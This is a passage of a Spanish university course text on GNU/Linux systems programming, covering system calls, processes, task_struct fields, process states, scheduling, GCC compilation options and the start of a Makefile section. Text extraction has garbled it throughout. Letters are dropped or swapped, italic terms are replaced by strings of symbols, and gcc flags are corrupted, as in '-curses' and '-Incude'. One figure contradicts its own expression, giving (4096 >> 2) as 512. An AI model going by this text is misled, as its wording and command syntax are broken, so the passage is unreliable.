Vous êtes sur la page 1sur 84

GNU/Lnux:

Programacn de Sstemas
Pabo Garazar Sagarmnaga
garazar@esde.deusto.es
GNU/Lnux:
Programacn de
Sstemas
Pabo Garazar Sagarmnaga
ema: garazar@esde.deusto.es
web: http://pagnaspersonaes.deusto.es/garazar
bog: http://bog.txpnet.com
Facutad de Ingenera - ESIDE
Unversdad de Deusto
Bbao
Taba de contendo
1. PROGRAMAClON EN GNU}LlNUX...........................................5
1.1 Lamadas a sstema..................................................... .....5
1.2 Programas, procesos, hos............................................. ...6
1.2.1 Estructuras de datos............................................. ..7
1.2.2 Estados de os procesos en Lnux...........................8
1.2.3 Identfcatvos de proceso.......................................9
1.2.4 Panfcacn....................................................... ...11
1.3 E GCC............................................ .................................12
1.3.1 Compacn bsca....................................... ........12
1.3.2 Paso a paso...................................................... .....13
1.3.3 Lbreras................................................... .............14
1.3.4 Optmzacones.....................................................14
1.3.5 Debuggng............................................................15
1.4 make word.............................................................. ........15
1.4.1 Makefe, e gun de make...................................16
1.5 Programando en C para GNU/Lnux.................................20
1.5.1 Hoa, mundo!....................................... .................20
1.5.2 Lamadas sencas............................................ ....21
1.5.3 Mane|o de drectoros...........................................32
1.5.4 |ugando con os permsos.....................................35
1.5.5 Creacn y dupcacn de procesos.....................38
1.5.6 Comuncacn entre procesos..............................43
1.5.7 Comuncacn por red......................................... ..62
2. LlCENClA....................................................................80

ndce de fguras
FlGURA 1.1.1 MECANlSMO DE PETlClON DE SERVlClOS AL KERNEL..........6
FlGURA 1.5.2 LOS DESCRlPTORES DE FlCHERO lNlClALES DE UN PROCESO.
..............................................................................24
FlGURA 1.5.3 DUPLlCAClON DE PROCESOS MEDlANTE FORK().............39
FlGURA 1.5.4 PROCESOS REClBlENDO SEALES, RUTlNAS DE CAPTURA Y
PROCESO DE SEALES.......................................................48
FlGURA 1.5.5 LA LLAMADA A LA FUNClON ALARM() GENERARA UNA SEAL
SlG_ALARM HAClA EL MlSMO PROCESO UE LA lNVOCA...............49
FlGURA 1.5.6 UNA TUBERlA ES UNlDlRECClONAL, COMO LOS TELEFONOS DE
YOGUR.......................................................................52
FlGURA 1.5.7 EL PROCESO PADRE Y SU Hl]O COMPARTEN DATOS MEDlANTE
UNA TUBERlA................................................................53
FlGURA 1.5.8 DOS PROCESOS SE COMUNlCAN BlDlRECClONALMENTE CON
DOS TUBERlAS...............................................................55
FlGURA 1.5.9 COMUNlCAClON MEDlANTE CAPAS DE PROTOCOLOS DE RED. 64

ndce de tabas
TABLA 1.2.1 CREDENClALES DE UN PROCESO Y SUS SlGNlFlCADOS.........11
TABLA 1.4.2 LlSTA DE LAS VARlABLES AUTOMATlCAS MAS COMUNES EN
MAKEFlLES..................................................................18
TABLA 1.5.3 LlSTA DE LOS POSlBLES VALORES DEL ARGUMENTO "FLAGS".
..............................................................................23
TABLA 1.5.4 LlSTA DE LOS POSlBLES VALORES DEL ARGUMENTO "MODE".
..............................................................................23
TABLA 1.5.5 LlSTA DE LOS POSlBLES VALORES DEL ARGUMENTO "WHENCE".
..............................................................................28
v
1.Programacn en
GNU/Lnux
n este texto repasaremos conceptos de muItIprogramacIn como Ias
deIInIcIones de programa, proceso e hIIos, y expIIcaremos eI
mecanIsmo de IIamadas aI sIstema que empIea IInux para poder
aceptar Ias petIcIones desde eI entorno de usuarIo.

SeguIdamente veremos Ias posIbIIIdades que nos oIrece eI CompIIador de


C de G!, GCC, y programaremos nuestros prImeros ejecutabIes para
G!/IInux. espues de repasar Ias IIamadas aI sIstema ms comunes,
anaIIzaremos Ias partIcuIarIdades de !X a Ia hora de manejar dIrectorIos,
permIsos, etc., y nos adentraremos en Ia ComunIcacIn nterproceso (IC).
IInaImente abordaremos de Iorma IntroductorIa Ia programacIn de sockets
de red, para dotar de capacIdades teIemtIcas a nuestros programas.
1.1 Lamadas a sstema
G!/IInux es un SIstema OperatIvo muItItarea en eI que van a convIvIr
un gran nmero de procesos. s posIbIe, bIen por un IaIIo de programacIn o
bIen por un Intento maIIcIoso, que aIguno de esos procesos haga cosas que
atenten contra Ia estabIIIdad de todo eI sIstema. Ior eIIo, con vIstas a
proteger esa estabIIIdad, eI ncIeo o kerneI deI sIstema IuncIona en un
entorno totaImente dIIerente aI resto de programas. Se deIInen entonces dos
modos de ejecucIn totaImente separados. eI modo kerneI y eI modo usuarIo.
Cada uno de estos modos de ejecucIn dIspone de memorIa y procedImIentos
dIIerentes, por Io que un programa de usuarIo no podr ser capaz de daar
aI ncIeo.
AquI se pIantea una duda. sI eI ncIeo deI sIstema es eI nIco capaz de
manIpuIar Ios recursos IIsIcos deI sIstema (hardware), y este se ejecuta en un
modo de ejecucIn totaImente dIsjunto aI deI resto de Ios programas, cmo
es posIbIe que un pequeo programa hecho por mI sea capaz de Ieer y
escrIbIr en dIsco? Ien, Ia duda es IgIca, porque todavIa no hemos habIado
de Ias "IIamadas o petIcIones aI sIstema" ("!"!#$%%!").
5
Programacn de Sstemas 6
Ias syscaIIs o IIamadas aI sIstema son eI mecanIsmo por eI cuaI Ios
procesos y apIIcacIones de usuarIo acceden a Ios servIcIos deI ncIeo. Son Ia
InterIaz que proporcIona eI ncIeo para reaIIzar desde eI modo usuarIo Ias
cosas que son propIas deI modo kerneI (como acceder a dIsco o utIIIzar una
tarjeta de sonIdo). Ia sIguIente IIgura expIIca de Iorma grIIca cmo
IuncIona Ia syscaII read( ) .
Fgura 1.1.1 Mecansmo de petcn de servcos a kerne.
I proceso de usuarIo necesIta acceder aI dIsco para Ieer, para eIIo
utIIIza Ia syscaII read() utIIIzando Ia InterIaz de IIamadas aI sIstema. I
ncIeo atIende Ia petIcIn accedIendo aI hardware y devoIvIendo eI resuItado
aI proceso que InIcI Ia petIcIn. ste procedImIento me recuerda aI comedor
de un restaurante, en eI todos Ios cIIentes pIden aI camarero Io que desean,
pero nunca entran en Ia cocIna. I camarero, despues de pasar por Ia cocIna,
traer eI pIato que cada cIIente haya pedIdo. Ingn comensaI podrIa
estropear Ia cocIna, puesto que no tIene acceso a eIIa.
IrctIcamente todas Ias IuncIones que utIIIcemos desde eI espacIo de
ejecucIn de usuarIo necesItarn soIIcItar una petIcIn aI kerneI medIante
una syscaII, esto es, Ia ejecucIn de Ias apIIcacIones de usuarIo se canaIIza a
traves deI sIstema de petIcIones aI sIstema. ste hecho es Importante a Ia
hora de IIjar controIes y regIstros en eI sIstema, ya que sI utIIIzamos nuestras
propIas versIones de Ias syscaIIs para eIIo, estaremos abarcando todas Ias
apIIcacIones y procesos deI espacIo de ejecucIn de usuarIo. magInemos un
"camarero" maIIcIoso que capturase todas Ias petIcIones de todos Ios
cIIentes y envenenase todos Ios pIatos antes de servIrIos... nuestro
restaurante deberIa cuIdarse muy bIen de que personaI contrata y nosotros
deberemos ser cauteIosos tambIen a Ia hora de cargar &'()*'! o mduIos en
nuestro ncIeo.
1.2 Programas, procesos, hos...
!n proceso es una entIdad !"#$%! que tIene asocIada un conjunto de
atrIbutos. cdIgo, datos, pIIa, regIstros e IdentIIIcador nIco. Iepresenta Ia
entIdad de ejecucIn utIIIzada por eI SIstema OperatIvo. Irecuentemente se
conocen tambIen con eI nombre de tareas (",$!-!").
Programacn de Sstemas 7
!n programa representa una entIdad '!($%!. Cuando un programa es
reconocIdo por eI SIstema OperatIvo y tIene asIgnado recursos, se convIerte
en proceso. s decIr, Ia ejecucIn de cdIgo ImpIIca Ia exIstencIa de un
entorno concreto.
Generamente un proceso:
s Ia unIdad de asIgnacIn de recursos. eI SIstema
OperatIvo va asIgnando Ios recursos deI sIstema a cada
proceso.
s una unIdad de despacho. un proceso es una entIdad
!"#$%! que puede ser ejecutada, por Io que eI SIstema
OperatIvo conmuta entre Ios dIIerentes procesos IIstos
para ser ejecutados o despachados.
SIn embargo, en aIgunos SIstemas OperatIvos estas dos unIdades se
separan, entendIendose Ia segunda como un hIIo o ,.'*$&. Ios hIIos no
generan un nuevo proceso sIno que producen IIujos de ejecucIn dIsjuntos
dentro deI mIsmo proceso. AsI pues, un hIIo o "proceso IIgero" ("%(/.,0*(/.,
1'2#*!!3 456") comparte Ios recursos deI proceso, asI como Ia seccIn de
datos y de cdIgo deI proceso con eI resto de hIIos. sto hace que Ia creacIn
de hIIos y eI cambIo de ejecucIn entre hIIos sea menos costoso que eI
cambIo de contexto entre procesos, aumentando eI rendImIento gIobaI deI
sIstema.
!n SIstema OperatIvo muItIusuarIo y muItIprogramado (muItItarea)
pretende crear Ia IIusIn a sus usuarIos de que se dIspone deI sIstema aI
compIeto. Ia capacIdad de un procesador de cambIar de tarea o contexto es
InIInItamente ms rpIda que Ia que pueda tener una persona normaI, por Io
que habItuaImente eI sIstema cumpIe este objetIvo. s aIgo parecIdo a Io que
pasa en un restaurante de comIda rpIda. por muy rpIdo que seas
comIendo, normaImente Ia veIocIdad de servIr comIda es mucho mayor. SI un
camarero Iuese atendIendote cada 5 mInutos, podrIas tener Ia sensacIn de
que eres eI cIIente ms Importante deI IocaI, pero en reaIIdad Io que est
hacIendo es compartIr sus servIcIos (recursos) entre todos Ios cIIentes de
Iorma rpIda (",(7*8!.$'(9/").
1.2.1 Estructuras de datos
SI queremos ImpIementar Ia ejecucIn de varIas tareas aI mIsmo tIempo,
Ios cambIos de contexto entre tareas y todo Io concernIente a Ia
muItIprogramacIn, es necesarIo dIsponer de un modeIo de procesos y Ias
estructuras de datos reIacIonadas para eIIo. !n modeIo de procesos tIpIco
consta de Ios sIguIentes eIementos.
IC (Irocess ControI Iock). un bIoque o estructura de
datos que contIene Ia InIormacIn necesarIa de cada
proceso. IermIte aImacenar eI contexto de cada uno de
Ios procesos con eI objeto de ser reanudado
posterIormente. SueIe ser un conjunto de IdentIIIcadores
Programacn de Sstemas 8
de proceso, tabIas de manejo de memorIa, estado de Ios
regIstros deI procesador, apuntadores de pIIa, etc.
TabIa de Irocesos. Ia tabIa que contIene todos Ios ICs o
bIoques de controI de proceso. Se actuaIIza a medIda que
se van creando y eIImInando procesos o se producen
transIcIones entre Ios estados de Ios mIsmos.
stados y TransIcIones de Ios Irocesos. Ios procesos se
ordenan en IuncIn de su InIormacIn de IIanIIIcacIn,
es decIr, en IuncIn de su estado. AsI pues, habr
procesos bIoqueados en espera de un recurso, IIstos para
Ia ejecucIn, en ejecucIn, termInando, etc.
Vector de nterrupcIones. contIene un conjunto de
apuntadores a rutInas que se encargarn de atender
cada una de Ias InterrupcIones que puedan producIrse en
eI sIstema.
n IInux esto est ImpIementado a traves de una estructura de datos
denomInada task_st ruct . s eI IC de IInux, en eIIa se aImacena toda Ia
InIormacIn reIacIonada con un proceso. IdentIIIcadores de proceso, tabIas
de manejo de memorIa, estado de Ios regIstros deI procesador, apuntadores
de pIIa, etc.
Ia TabIa de Irocesos no es ms que un array de task_st ruct , en Ia versIn
2.4.x de IInux desaparece eI array task|| como taI y se deIInen arrays para
buscar procesos en IuncIn de su IdentIIIcatIvo de proceso (I) como pdash.
extern struct task_struct *pdhash|PIDHASH_SZ|;
PIDHASH_SZ determIna eI nmero de tareas capaces de ser gestIonadas por
esa tabIa (deIInIda en "/usr/src/nux/ncude/nux/sched.h"). Ior deIecto PIDHASH_SZ
vaIe.512 (#defne PIDHASH_SZ (4096 >> 2)), es decIr, es posIbIe gestIonar 512
tareas concurrentemente desde un nIco proceso InIcIaI o "InIt". Iodremos
tener tantos procesos "InIt" o InIcIaIes como CI!s tenga nuestro sIstema.
extern struct task_struct *nt_tasks|NR_CPUS|;
NR_CPUS determIna eI nmero de procesadores dIsponIbIes en eI sIstema
(deIInIda en "/usr/src/nux/ncude/nux/sched.h"). Ior deIecto NR_CPUS vaIe.1, pero
sI se habIIIta eI soporte para muItIprocesador, SMI, este nmero puede
crecer (hasta 32 en Ia versIn deI kerneI. 2.4.19, por ejempIo).
1.2.2 Estados de os procesos en Lnux
Como ya hemos comentado, Ios procesos van pasando por una serIe de
estados dIscretos desde que son creados hasta que termInan o mueren. Ios
dIIerentes estados sIrven para saber cmo se encuentra un proceso en
cuanto a su ejecucIn, con eI objeto de IIevar un mejor controI y aumentar eI
Programacn de Sstemas 9
rendImIento deI sIstema. o tendrIa sentIdo, por ejempIo, cederIe tIempo de
procesador a un proceso que sabemos que sabemos a cIencIa cIerta que est
a Ia espera de un recurso todavIa no IIberado.
n IInux eI estado de cada proceso se aImacena dentro de un campo de
Ia estructura task_st ruct . Icho campo, "!,$,*", Ir varIando en IuncIn deI
estado de ejecucIn en eI que se encuentre eI proceso, pudIendo tomar Ios
sIguIentes vaIores.
TASK_RUNNING (0). ndIca que eI proceso en cuestIn se est
ejecutando o IIsto para ejecutarse. n este segundo caso,
eI proceso dIspone de todos Ios recursos necesarIos
excepto eI procesador.
TASK_ INTERRUPTIBLE (1) . eI proceso est suspendIdo a Ia
espera de aIguna seaI para pasar a IIsto para
ejecutarse. GeneraImente se debe a que eI proceso est
esperando a que otro proceso deI sIstema Ie preste aIgn
servIcIo soIIcItado.
TASK_UNINTERRUPTIBLE (2). eI proceso est bIoqueado
esperando a que se Ie conceda aIgn recurso hardware
que ha soIIcItado (cuando una seaI no es capaz de
"despertarIo").
TASK_ZOMBIE (4). eI proceso ha IInaIIzado pero an no se ha
eIImInado todo rastro deI mIsmo deI sIstema. sto es
habItuaImente causado porque eI proceso padre todavIa
Io espera con una wa t ( ) .
TASK_STOPPED (8). eI proceso ha sIdo detenIdo por una
seaI o bIen medIante eI uso de pt race( )para ser trazado.
n IuncIn deI estado de Ia tarea o proceso, estar en una u otra coIa de
procesos.
CoIa de jecucIn o ':9;:*:*. procesos en estado
TASK_RUNNING .
CoIas de spera o 0$(, ;:*:*!. procesos en estado
TASK_ INTERRUPTIBLE TASK_ININTERRUPTIBLE.
Ios procesos en estado TASK_ZOMBIE TASK_STOPPED no
necesItan coIas para ser gestIonados.
1.2.3 Identfcatvos de proceso
Todos Ios procesos deI sIstema tIenen un IdentIIIcatIvo nIco que se
conoce como dentIIIcatIvo de Iroceso o I. I I de cada proceso es
como su (ocumento acIonaI de dentIdad), todo eI mundo tIene eI
suyo y cada nmero IdentIIIca a un sujeto en concreto. SI queremos ver Ios
Is de Ios procesos que estn actuaImente presentes en nuestro sIstema,
podemos hacerIo medIante eI uso deI comando "ps", que nos InIorma deI
estado de Ios procesos.
txp@neon:-$ ps xa
PID TTY STAT TIME COMMAND
1 ? S 0:05 nt |2|
Programacn de Sstemas 10
2 ? SW 0:00 |keventd|
3 ? SWN 0:03 |ksoftrqd_CPU0|
4 ? SW 0:12 |kswapd|
5 ? SW 0:00 |bdfush|
6 ? SW 0:03 |kupdated|
75 ? SW 0:12 |k|ournad|
158 ? S 1:51 /sbn/sysogd
160 ? S 0:00 /sbn/kogd
175 ? S 0:00 /usr/sbn/netd
313 ? S 0:00 /usr/sbn/sshd
319 ? S 0:00 /usr/sbn/atd
322 ? S 0:04 /usr/sbn/cron
330 tty1 S 0:00 /sbn/getty 38400 tty1
331 tty2 S 0:00 /sbn/getty 38400 tty2
332 tty3 S 0:00 /sbn/getty 38400 tty3
333 tty4 S 0:00 /sbn/getty 38400 tty4
334 tty5 S 0:00 /sbn/getty 38400 tty5
335 tty6 S 0:00 /sbn/getty 38400 tty6
22985 ? S 0:00 /usr/sbn/sshd
22987 ? S 0:00 /usr/sbn/sshd
22988 pts/0 S 0:00 -bash
23292 pts/0 R 0:00 ps xa
n Ia prImera coIumna vemos cmo cada uno de Ios procesos, IncIuIdo eI
propIo "ps xa" tIenen un IdentIIIcatIvo nIco o I. Adems de esto, es posIbIe
saber quIen ha sIdo eI proceso padre u orIgInarIo de cada proceso,
consuItando su II, es decIr, eI Iarent Irocess . e esta manera es
bastante sencIIIo hacernos una Idea de cuI ha sIdo eI rboI de creacIn de
Ios procesos, que podemos obtener con eI comando "pst ree".
txp@neon:-$ pstree
nt-+-atd
|-cron
|-6*|getty|
|-netd
|-keventd
|-k|ournad
|-kogd
|-sshd---sshd---sshd---bash---pstree
`-sysogd
Como vemos, eI comando "pst ree" es eI proceso hIjo de un Interprete de
comandos (bash) que a su vez es hIjo de una sesIn de SSI (Secure SheII).
Otro dato de Interes aI ejecutar este comando se da en eI hecho de que eI
proceso nt es eI proceso padre de todos Ios dems procesos. sto ocurre
sIempre. prImero se crea eI proceso nt, y todos Ios procesos sIguIentes se
crean a partIr de eI.
Adems de estos dos IdentIIIcatIvos exIsten Io que se conocen como
"credencIaIes deI proceso", que InIorman acerca deI usuarIo y grupo que Io
ha Ianzado. sto se utIIIza para decIdIr sI un determInado proceso puede
acceder a un recurso deI sIstema, es decIr, sI sus credencIaIes son suIIcIentes
para Ios permIsos deI recurso. xIsten varIos IdentIIIcatIvos utIIIzados como
credencIaIes, todos eIIos aImacenados en Ia estructura task_struct.
/* process credentas */
Programacn de Sstemas 11
ud_t ud,eud,sud,fsud;
gd_t gd,egd,sgd,fsgd;
Su sIgnIIIcado es eI sIguIente
Identfcatvos
reaes
ud Identfcatvo de usuaro
rea asocado a proceso
gd Identfcatvo de grupo rea
asocado a proceso
Identfcatvos
efectvos
eud Identfcatvo de usuaro
efectvo asocado a
proceso
egd Identfcatvo de grupo
efectvo asocado a
proceso
Identfcatvos
guardados
sud Identfcatvo de usuaro
guardado asocado a
proceso
sgd Identfcatvo de grupo
guardado asocado a
proceso
Identfcatvos de
acceso a fcheros
fsud Identfcatvo de usuaro
asocado a proceso para
os controes de acceso a
fcheros
fsgd Identfcatvo de grupo
asocado a proceso para
os controes de acceso a
fcheros
Taba 1.2.1 Credencaes de un proceso y sus sgnfcados.
1.2.4 Panfcacn
I pIanIIIcador o !#.*&:%*' en IInux se basa en Ias prIorIdades esttIcas y
dInmIcas de cada una de Ias tareas. A Ia combInacIn de ambas prIorIdades
se Ia conoce como "bondad de una tarea" (",$!-<! /22&9*!!"), y determIna eI
orden de ejecucIn de Ios procesos o tareas. cuando eI pIanIIIcador est en
IuncIonamIento se anaIIza cada una de Ias tareas de Ia CoIa de jecucIn y
se caIcuIa Ia "bondad" de cada una de Ias tareas. Ia tarea con mayor
"bondad" ser Ia prxIma que se ejecute.
Cuando hay tareas extremadamente Importantes en ejecucIn, eI
pIanIIIcador se IIama en IntervaIos reIatIvamente ampIIos de tIempo,
pudIendose IIegar a perIodos de 0,4 segundos sIn ser IIamado. sto puede
mejorar eI rendImIento gIobaI deI sIstema evItando InnecesarIos cambIos de
contexto, sIn embargo es posIbIe que aIecte a su InteratIvIdad, aumentando
Io que se conoce como "IatencIas de pIanIIIcacIn" ("!#.*&:%(9/ %$,*9#(*!").
E panfcador de Lnux utza un contador que genera una
nterrupcn cada 10 msegundos. Cada vez que se produce dcha
nterrupcn e panfcador decrementa a prordad dnmca de a
tarea en e|ecucn. Una vez que este contador ha egado a cero, se
reaza una amada a a funcn schedue( ) , que se encarga de a
panfcacn de as tareas. Por o tanto, una tarea con una prordad
por defecto de 20 podr funconar durante 0,2 segundos (200
msegundos) antes de que otra tarea en e sstema tenga a
posbdad de e|ecutarse. Por o tanto, ta y como comentbamos,
una tarea con mxma prordad (40) podr e|ecutarse durante 0,4
segundos sn ser detenda por un evento de panfcacn.
I ncIeo deI sIstema se apoya en Ias estructuras task_st ruct para pIanIIIcar
Ia ejecucIn de Ias tareas, ya que, adems de Ios campos comentados, esta
Programacn de Sstemas 12
estructura contIene mucha InIormacIn desde eI punto de vIsta de Ia
pIanIIIcacIn.
voat e ong state . nos InIorma deI estado de Ia tarea,
IndIcando sI Ia tarea es ejecutabIe o sI es InterrumpIbIe
(puede recIbIr seaIes) o no.
ong counter . representa Ia parte dInmIca de Ia "bondad"
de una tarea. nIcIaImente se IIja aI vaIor de Ia prIorIdad
esttIca de Ia tarea.
ong pr or t y: representa Ia parte esttIca de Ia "bondad" de
Ia tarea.
ong need_resched . se anaIIza antes de voIver a Ia tarea en
curso despues de haber IIamado a una syscaII, con eI
objeto de comprobar sI es necesarIo voIver a IIamar a
schedue( )para pIanIIIcar de nuevo Ia ejecucIn de Ias
tareas.
uns gned ong po cy . InIdIca Ia poIItIca de pIanIIIcacIn
empIeada. IIO, IO! IO, etc.
uns gned r t _pr or ty . se utIIIza para determInar Ia "bondad"
de una tarea aI utIIIzar tIempo reaI por soItware.
st ruct mm_st ruct *mm. apunta a Ia InIormacIn de gestIn d
memorIa de Ia tarea. AIgunas tareas comparten memorIa
por Io que pueden compartIr una nIca estructura
mm_st ruct.
1.3 E GCC
Ias sIgIas GCC sIgnIIIcan actuaImente "=>? @271(%*' @2%%*#,(29"
("CoIeccIn de compIIadores G!"). Antes estas mIsmas sIgIas sIgnIIIcaban
"=>? @ @271(%*'" ("CompIIador C de G!"), sI bIen ahora se utIIIzan para
denomInar a toda una coIeccIn de compIIadores de dIversos Ienguajes como
C, C++, ObjetIve C, ChIII, Iortran, y java. sta coIeccIn de compIIadores
est dIsponIbIe para prctIcamente todos Ios SIstemas OperatIvos, sI bIen es
caracterIstIca de entornos !X IIbres y se IncIuye en Ia prctIca totaIIdad
de dIstrIbucIones de G!/IInux. n su desarroIIo partIcIpan voIuntarIos de
todas Ias partes deI mundo y se dIstrIbuye bajo Ia IIcencIa GII ("=*9*'$%
6:A%(# 4(#*9!*") Io que Io hace de IIbre dIstrIbucIn. est permItIdo hacer
copIas de eI y regaIarIas o venderIas sIempre que se IncIuya su cdIgo Iuente
y se mantenga Ia IIcencIa. osotros nos reIerIremos aI GCC nIcamente
como eI compIIador de C estndar en G!/IInux.
1.3.1 Compacn bsca
GCC es un compIIador de IInea de comandos, aunque exIsten numerosos
o entornos de desarroIIo que IncIuyen a GCC como su motor de
compIIacIn. Ia manera ms sImpIe de IIamar a GCC es esta.
gcc codgo.c -o e|ecutabe
Programacn de Sstemas 13
AsI eI GCC compIIar eI cdIgo Iuente que haya en "codgo.c" y generar
un IIchero ejecutabIe en "e|ecutabe ". SI todo eI proceso se ha desarroIIado
correctamente, eI GCC no devueIve nIngn mensaje de conIIrmacIn. n
reaIIdad Ia opcIn "-o" para IndIcar eI IIchero de saIIda no es necesarIa, y sI
no se IndIca se guarda eI resuItado de Ia compIIacIn en eI IIchero "a.out".
Muchos proyectos de soItware estn Iormados por ms de un IIchero
Iuente, por Io que habr que compIIar varIos IIcheros para generar un nIco
ejecutabIe. sto se puede hacer de Iorma sencIIIa IIamando a GCC con varIos
IIcheros Iuente y un ejecutabIe.
gcc menu.c bd.c motor.c -o |uego
SIn embargo es bastante probabIe que todos Ios IIcheros Iuente de un
mIsmo proyecto no se encuentren en eI mIsmo dIrectorIo, y que conIorme eI
proyecto crezca, exIstan muchos IIcheros de cabeceras (Ios tIpIcos ".h") y se
aIojen en dIrectorIos dIIerentes. Iara evItar probIemas a Ia hora de tratar
con proyectos semejantes, podemos hacer uso de Ia opcIn "-I" e IncIuIr Ios
IIcheros que sean necesarIo. magInemos que tenemos un proyecto en eI que
todos Ios IIcheros Iuente estn dentro deI dIrectorIo "src" y todos Ios IIcheros
de cabeceras estn en eI dIrectorIo "ncude". IodrIamos compIIar eI proyecto
de Ia sIguIente manera.
gcc ./src/*.c -Incude -o |uego
1.3.2 Paso a paso
Iasta ahora hemos dado por hecho que es normaI que un compIIador
reaIIce todos Ios pasos necesarIos para obtener un ejecutabIe partIendo deI
cdIgo Iuente, sI bIen esto no tIene por que ser asI. A Ia hora de generar un
ejecutabIe hay una serIe de procesos ImpIIcados.
1. dIcIn deI cdIgo Iuente - cdIgo Iuente.
2. Ireprocesado - cdIgo Iuente preprocesado.
3. CompIIacIn - cdIgo ensambIador.
4. nsambIado - cdIgo objeto.
5. nIazado - ejecutabIe.
MedIante eI GCC pueden reaIIzarse todos eIIos secuencIaImente hasta
conseguIr eI ejecutabIe. so es Io que hemos estado hacIendo en Ios
ejempIos anterIores, pero en ocasIones es convenIente parar eI proceso en
un paso IntermedIo para evaIuar Ios resuItados.
! Con Ia opcIn "-E" detenemos eI proceso en Ia etapa de
preprocesado, obtenIendo cdIgo Iuente preprocesado.
! Con Ia opcIn "-S" se detIene en Ia etapa de compIIacIn,
pero no ensambIa eI cdIgo.
! Con Ia opcIn "-c", compIIa y ensambIa eI cdIgo, pero no
Io enIaza, obtenIendo cdIgo objeto.
Programacn de Sstemas 14
! SI no IndIcamos nInguna de estas opcIones, se reaIIzarn
Ias cuatro Iases de Ias que se encarga eI GCC.
preprocesado, compIIacIn, ensambIado y enIazado.
Ahora ya controIamos ms eI proceso. Cuando un proyecto InvoIucra
muchos IIcheros es bastante normaI que no todas sus partes tengan Ias
mIsmas opcIones de compIIacIn. Ior eIIo es muy tII generar
separadamente Ios respectIvos cdIgos objeto, y cuando ya esten todos
generados, enIazarIos para obtener eI ejecutabIe.
gcc -c bd.c -o bd.o
gcc -c motor.c -graphcs -o motor.o
gcc -c menu.c -curses -o menu.o
gcc bd.o motor.o menu.o -o |uego
1.3.3 Lbreras
ConIorme un proyecto va ganando entIdad se hace casI IrremedIabIe eI
uso de IIbrerIas (reaImente son "bIbIIotecas") de IuncIones, que permIten
reutIIIzar cdIgo de manera cmoda y eIIcIente. Iara utIIIzar IIbrerIas
estndar en eI sIstema es necesarIo empIear Ia opcIn "- " a Ia hora de IIamar
a GCC.
gcc -c menu.c -curses -o menu.o
Ia compIIacIn de este IIchero ("menu.c ") requIere que este InstaIada Ia
IIbrerIa curses o ncurses en eI sIstema, por ejempIo (Ia IIbrerIa se IIamar
casI con segurIdad " bncurses "). SI Ia IIbrerIa no es una IIbrerIa estndar en eI
sIstema, sIno que pertenece nIcamente a nuestro proyecto, podremos
IndIcar Ia ruta empIeando Ia opcIn "-L".
gcc -c motor.c -L./bs/brera-motor -o motor.o
1.3.4 Optmzacones
I GCC IncIuye opcIones de optImIzacIn en cuanto aI cdIgo generado.
xIsten 3 nIveIes de optImIzacIn de cdIgo.
1. Con "-O1" conseguImos optImIzacIones en bIoques
repetItIvos, operacIones con coma IIotante, reduccIn de
saItos, optImIzacIn de manejo de parmetros en pIIa,
etc.
2. Con "-O2" conseguImos todas Ias optImIzacIones de "-O1"
ms mejoras en eI abastecImIento de InstruccIones aI
procesador, optImIzacIones con respecto aI retardo
ocasIonado aI obtener datos deI "heap" o de Ia memorIa,
etc.
3. Con "-O3" conseguImos todas Ias optImIzacIones de "-O2"
ms eI desenroIIado de bucIes y otras prestacIones muy
vIncuIadas con eI tIpo de procesador.
Programacn de Sstemas 15
SI queremos tener un controI totaI acerca de Ias opcIones de optImIzacIn
empIeadas podremos utIIIzar Ia opcIn "- f".
! "- f f astmath ". genera optImIzacIones sobre Ias operacIones
de coma IIotante, en ocasIones saItndose restrIccIones
de estndares o AS.
! "- f n ne- funct ons ". expande todas Ias IuncIones "(9%(9*"
durante Ia compIIacIn.
! "- funro - oops ". desenroIIa todos Ios bucIes, convIrtIendoIos
en una secuencIa de InstruccIones. Se gana en veIocIdad
a costa de aumentar eI tamao deI cdIgo.
1.3.5 Debuggng
Ios errores de programacIn o "A:/!" son nuestros compaeros de vIaje
a Ia hora de programar cuaIquIer cosa. s muy comn programar cuaIquIer
apIIcacIn sencIIIIsIma y que por aIguna mgIca razn no IuncIone
correctamente, o Io haga sIo en determInadas ocasIones (esto desespera
an ms). Ior eIIo, muchas veces tenemos que hacer "&*A://(9/", Ir a Ia
caza y captura de nuestros "A:/!".-Ia manera ms ruIn de buscar IaIIos
todos Ia conocemos, aunque muchas veces nos de verguenza reconocerIo, en
Iugar de peIearnos con "&*A://*'!", IIenar eI cdIgo de IIamadas a pr nt f ( )
sacando resuItados IntermedIos es Io ms dIvertIdo. n muchas ocasIones
hacemos de eIIo un arte y utIIIzamos varIabIes de preprocesado para IndIcar
que parte deI cdIgo es de "&*A:/" y cuI no. Iara IndIcar una varIabIe de
preprocesado en GCC se utIIIza Ia opcIn "- D".
gcc -DDEBUG prueba.c -o prueba
SI queremos optar por una aIternatIva ms proIesIonaI, quIz convenga
utIIIzar Ias opcIones "- g" o "- ggdb" para generar InIormacIn extra de "&*A:/"
en nuestro ejecutabIe y poder seguIr de Iorma ms cmoda su ejecucIn
medIante eI G ("=>? B*A://*'").
SI deseamos obtener todas Ias posIbIes advertencIas en cuanto a
generacIn deI ejecutabIe partIendo de nuestro cdIgo Iuente, empIearemos
"- Wa ", para soIIcItar todos Ios "0$'9(9/!" en Ios que Incurra nuestro cdIgo.
AsI mIsmo, podrIamos utIIIzar Ia opcIn "- ans " o "-pedantc" para tratar de
acercar nuestros programas aI estndar AS C.
1.4 make word
Iemos vIsto en eI anterIor apartado cmo eI desarroIIo de un programa
puede InvoIucrar muchos IIcheros dIIerentes, con opcIones de compIIacIn
muy dIversas y compIejas. sto podrIa convertIr Ia programacIn de
herramIentas que InvoIucren varIos IIcheros en un verdadero InIIerno. SIn
embargo, make permIte gestIonar Ia compIIacIn y creacIn de ejecutabIes,
aIIvIando a Ios programadores de estas tareas.
Con make deberemos deIInIr soIamente una vez Ias opcIones de
compIIacIn de cada mduIo o programa. I resto de IIamadas sern
Programacn de Sstemas 16
sencIIIas gracIas a su IuncIonamIento medIante regIas de compIIacIn.
Adems, make es capaz de IIevar un controI de Ios cambIos que ha habIdo en
Ios IIcheros Iuente y ejecutabIes y optImIza eI proceso de edIcIn-
compIIacIn-depuracIn evItando recompIIar Ios mduIos o programas que
no han sIdo modIIIcados.
1.4.1 Makefe, e gun de make
Ios MakeIIIes son Ios IIcheros de texto que utIIIza make para IIevar Ia
gestIn de Ia compIIacIn de programas. Se podrIan entender como Ios
guIones de Ia peIIcuIa que quIere hacer make , o Ia base de datos que InIorma
sobre Ias dependencIas entre Ias dIIerentes partes de un proyecto.
Todos Ios MakeIIIes estn ordenados en Iorma de regIas, especIIIcando
que es Io que hay que hacer para obtener un mduIo en concreto. I Iormato
de cada una de esas regIas es eI sIguIente.
ob|etvo : dependencas
comandos
